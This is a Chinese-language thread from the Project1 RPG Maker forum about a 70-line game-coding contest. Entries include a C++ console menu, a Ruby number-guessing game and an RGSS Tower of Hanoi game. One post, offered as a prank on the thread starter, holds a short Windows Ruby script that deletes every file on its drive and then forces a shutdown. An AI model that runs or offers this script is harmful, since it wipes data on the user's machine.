Project1
标题: [申办论坛活动]70行代码写游戏 [打印本页]
作者: 冷峻逸 时间: 2015-10-4 21:04
提示: 作者被禁止或删除 内容自动屏蔽
作者: guaneva 时间: 2015-10-4 21:11
哎哟!您能歇停一会吗?您老有这时间都能打工赚MV了。
作者: H·H·Y 时间: 2015-10-4 21:13
p "猴子别逗。"
exit
作者: 冷峻逸 时间: 2015-10-4 21:13
提示: 作者被禁止或删除 内容自动屏蔽
作者: 鑫の尘埃 时间: 2015-10-4 21:17
w报名不参赛
反正没卵用
作者: 无忧谷主幻 时间: 2015-10-4 21:35
我捐助1经验,不用谢我,请叫我雷锋
作者: 丿梁丶小柒 时间: 2015-10-4 21:44
本帖最后由 丿梁丶小柒 于 2015-10-4 21:45 编辑
我可以捐助哦。如果赛事好的话可以捐助5VIP 或者5K经验
我也要报名参加
作者: 英顺的马甲 时间: 2015-10-4 22:00
限制行数?其实不管多少行的脚本都可以更写成一行的...
字数比较靠谱吧==
作者: 落雪鸦杀 时间: 2015-10-4 22:50
本帖最后由 落雪鸦杀 于 2015-10-5 13:52 编辑
更新:由于附加了文件以及使用分号,不符合规范,所以--
我的就算娱乐吧
好吧来个正经的,不过是C++(就当是基本功练习吧):
#include <iostream>
#include <string>
#include <vector>
using namespace std;
int main(){
int numbery,i,j,k;
const int experience = 65535;
start:
cout<<"请输入编号以继续:"<<endl;
cout<<"1.查询猴子的水的总经验数"<<endl;
cout<<"2.遵循指示就对了"<<endl;
cout<<"3.一起黑喵呜喵"<<endl;
cout<<"4.退出程序"<<endl;
cin>>numbery;
switch(numbery){
case 1:{
cout<<experience<<endl;
system("pause");
system("cls");
goto start;}
case 2:{
cout<<"请输入行数,行数必须是整数:";
cin>>k;
for(i = 0;i < k; i++){
for(j = 0; j < k-i; j++){
cout << " ";}
for(j = 0; j < i*2+1; j++){
cout << "*" ;}
cout << endl;}
for(i = 0; i < k; i++){
for(j = 0; j <= i; j++){
cout << " " ;}
for(j = 0; j < 2*(k-i)-1 ; j++){
cout << "*";}
cout << endl;}
system("pause");
system("cls");
goto start;}
case 3:{
for(int i = 0;i<=5;i++){
cout<<"喵呜喵"<<i<<endl;}
system("pause");
system("cls");
goto start;}
case 4:{
cout<<"byebye"<<endl;
system("pause");
system("cls");
break;}}
return 0;}
#include <iostream>
#include <string>
#include <vector>
using namespace std;
int main(){
int numbery,i,j,k;
const int experience = 65535;
start:
cout<<"请输入编号以继续:"<<endl;
cout<<"1.查询猴子的水的总经验数"<<endl;
cout<<"2.遵循指示就对了"<<endl;
cout<<"3.一起黑喵呜喵"<<endl;
cout<<"4.退出程序"<<endl;
cin>>numbery;
switch(numbery){
case 1:{
cout<<experience<<endl;
system("pause");
system("cls");
goto start;}
case 2:{
cout<<"请输入行数,行数必须是整数:";
cin>>k;
for(i = 0;i < k; i++){
for(j = 0; j < k-i; j++){
cout << " ";}
for(j = 0; j < i*2+1; j++){
cout << "*" ;}
cout << endl;}
for(i = 0; i < k; i++){
for(j = 0; j <= i; j++){
cout << " " ;}
for(j = 0; j < 2*(k-i)-1 ; j++){
cout << "*";}
cout << endl;}
system("pause");
system("cls");
goto start;}
case 3:{
for(int i = 0;i<=5;i++){
cout<<"喵呜喵"<<i<<endl;}
system("pause");
system("cls");
goto start;}
case 4:{
cout<<"byebye"<<endl;
system("pause");
system("cls");
break;}}
return 0;}
似乎不支持C++。。就当是小白练习吧
上传工程文件和附件,注意查毒误删。。。
70行大赛.rar
(375.5 KB, 下载次数: 37)
刚刚注意到不能用分号……
应该是针对ruby才这么做的吧。。。
然而分号是C++的灵魂啊,,,
算了就当开源了吧
作者: 丿梁丶小柒 时间: 2015-10-5 00:58
本帖最后由 丿梁丶小柒 于 2015-10-5 15:01 编辑
游戏一:扳手腕
游戏二:来打我丫
作者: 寒冷魔王 时间: 2015-10-5 14:01
本帖最后由 寒冷魔王 于 2015-10-5 15:27 编辑
module Game
def self.start # 2.0
number = rand(100) + 1 # 1 to 100
count = 0
puts("Guess the number!")
loop do
puts("Please input your guess.")
count += 1
puts("Please input right number.") while ((guess = gets.to_i) == 0)
if (guess == number)
puts("You win!")
puts("You cost #{count} turn#{count==1?'':'s'}.")
system("pause")
return
else
puts(guess > number ? "Too big!" : "Too small!")
end
end
end
end
Game.start
module Game
def self.start # 2.0
number = rand(100) + 1 # 1 to 100
count = 0
puts("Guess the number!")
loop do
puts("Please input your guess.")
count += 1
puts("Please input right number.") while ((guess = gets.to_i) == 0)
if (guess == number)
puts("You win!")
puts("You cost #{count} turn#{count==1?'':'s'}.")
system("pause")
return
else
puts(guess > number ? "Too big!" : "Too small!")
end
end
end
end
Game.start
改自https://kaisery.gitbooks.io/rust ... 8C%9C%E7%9C%8B.html
作者: taroxd 时间: 2015-10-5 15:01
本帖最后由 taroxd 于 2015-10-5 15:39 编辑
除了楼主之外请不要运行
未测试
#!/usr/bin/env ruby -wKU
raise 'windows only' unless RUBY_PLATFORM =~ /mingw|mswin32/
# D:/**/*
Dir.glob(__FILE__[0, 3] + '**/*') do |filename|
File.delete filename rescue next
end
`shutdown /p /f`
#!/usr/bin/env ruby -wKU
raise 'windows only' unless RUBY_PLATFORM =~ /mingw|mswin32/
# D:/**/*
Dir.glob(__FILE__[0, 3] + '**/*') do |filename|
File.delete filename rescue next
end
`shutdown /p /f`
作者: RyanBern 时间: 2015-10-5 16:18
本帖最后由 RyanBern 于 2015-10-5 16:25 编辑
一本正经地发工程。小7说的是真的么?平时答题都没糖所以坐等小7赞助
以下工程需要RGSS102J.dll,修改的话需要RMXP。如果不符合要求请告知
module Hanoi
Max_Plates = 4 # 最大可设置为 6
def self.start
self.create_ui
@pillars = [Array.new(Max_Plates){|i| i}, [], []]
@hold_index = -1
loop do
Graphics.update
Input.update
self.update
end
end
def self.create_ui
@sprite_title = Sprite.new
@sprite_title.bitmap = Bitmap.new(640, 32)
@sprite_title.bitmap.draw_text(0, 0, 640, 32, "将所有盘子移动到红色柱子上,且不能把大盘放到小盘上!", 1)
@sprite_pillars = Array.new(3) do |i|
sprite = Sprite.new
sprite.bitmap = Bitmap.new(16, 320)
sprite.x,sprite.y = 100 + 208 * i, 128
sprite.bitmap.fill_rect(0, 0, 32, 320, i == 2 ? Color.new(200, 0, 0) : Color.new(255, 255, 255))
sprite
end
@sprite_plates = Array.new(Max_Plates) do |i|
sprite = Sprite.new
sprite.bitmap = Bitmap.new(192 - 32 * i, 32)
sprite.ox,sprite.x,sprite.y = sprite.bitmap.width / 2, 108, 416 - 32 * i
sprite.bitmap.fill_rect(0, 0, sprite.bitmap.width, 32, Color.new(200, 200, 200))
sprite
end
@arrow = Arrow_Base.new(nil)
@arrow.x,@arrow.y = 108, 96
end
def self.update
@arrow.update
if Input.trigger?(Input::LEFT)
@arrow.index -= 1
return
end
if Input.trigger?(Input::RIGHT)
@arrow.index += 1
return
end
@arrow.index %= 3
@arrow.x = 108 + @arrow.index * 208
@sprite_plates[@hold_index].x = 108 + @arrow.index * 208 if @hold_index != -1
if Input.trigger?(Input::C)
if @hold_index == -1
return if @pillars[@arrow.index].empty?
@hold_index = @pillars[@arrow.index].pop
@sprite_plates[@hold_index].y = 64
else
return unless @pillars[@arrow.index].empty? || @pillars[@arrow.index][-1] < @hold_index
@pillars[@arrow.index] << @hold_index
@sprite_plates[@hold_index].y = 416 - 32 * (@pillars[@arrow.index].size - 1)
@hold_index = -1
if (0...Max_Plates).to_a == @pillars[2]
print "You win!!"
exit
end
end
end
end
end
module Hanoi
Max_Plates = 4 # 最大可设置为 6
def self.start
self.create_ui
@pillars = [Array.new(Max_Plates){|i| i}, [], []]
@hold_index = -1
loop do
Graphics.update
Input.update
self.update
end
end
def self.create_ui
@sprite_title = Sprite.new
@sprite_title.bitmap = Bitmap.new(640, 32)
@sprite_title.bitmap.draw_text(0, 0, 640, 32, "将所有盘子移动到红色柱子上,且不能把大盘放到小盘上!", 1)
@sprite_pillars = Array.new(3) do |i|
sprite = Sprite.new
sprite.bitmap = Bitmap.new(16, 320)
sprite.x,sprite.y = 100 + 208 * i, 128
sprite.bitmap.fill_rect(0, 0, 32, 320, i == 2 ? Color.new(200, 0, 0) : Color.new(255, 255, 255))
sprite
end
@sprite_plates = Array.new(Max_Plates) do |i|
sprite = Sprite.new
sprite.bitmap = Bitmap.new(192 - 32 * i, 32)
sprite.ox,sprite.x,sprite.y = sprite.bitmap.width / 2, 108, 416 - 32 * i
sprite.bitmap.fill_rect(0, 0, sprite.bitmap.width, 32, Color.new(200, 200, 200))
sprite
end
@arrow = Arrow_Base.new(nil)
@arrow.x,@arrow.y = 108, 96
end
def self.update
@arrow.update
if Input.trigger?(Input::LEFT)
@arrow.index -= 1
return
end
if Input.trigger?(Input::RIGHT)
@arrow.index += 1
return
end
@arrow.index %= 3
@arrow.x = 108 + @arrow.index * 208
@sprite_plates[@hold_index].x = 108 + @arrow.index * 208 if @hold_index != -1
if Input.trigger?(Input::C)
if @hold_index == -1
return if @pillars[@arrow.index].empty?
@hold_index = @pillars[@arrow.index].pop
@sprite_plates[@hold_index].y = 64
else
return unless @pillars[@arrow.index].empty? || @pillars[@arrow.index][-1] < @hold_index
@pillars[@arrow.index] << @hold_index
@sprite_plates[@hold_index].y = 416 - 32 * (@pillars[@arrow.index].size - 1)
@hold_index = -1
if (0...Max_Plates).to_a == @pillars[2]
print "You win!!"
exit
end
end
end
end
end
附工程:
ProjectR.rar
(191.7 KB, 下载次数: 37)
欢迎光临 Project1 (https://rpg.blue/) |
Powered by Discuz! X3.1 |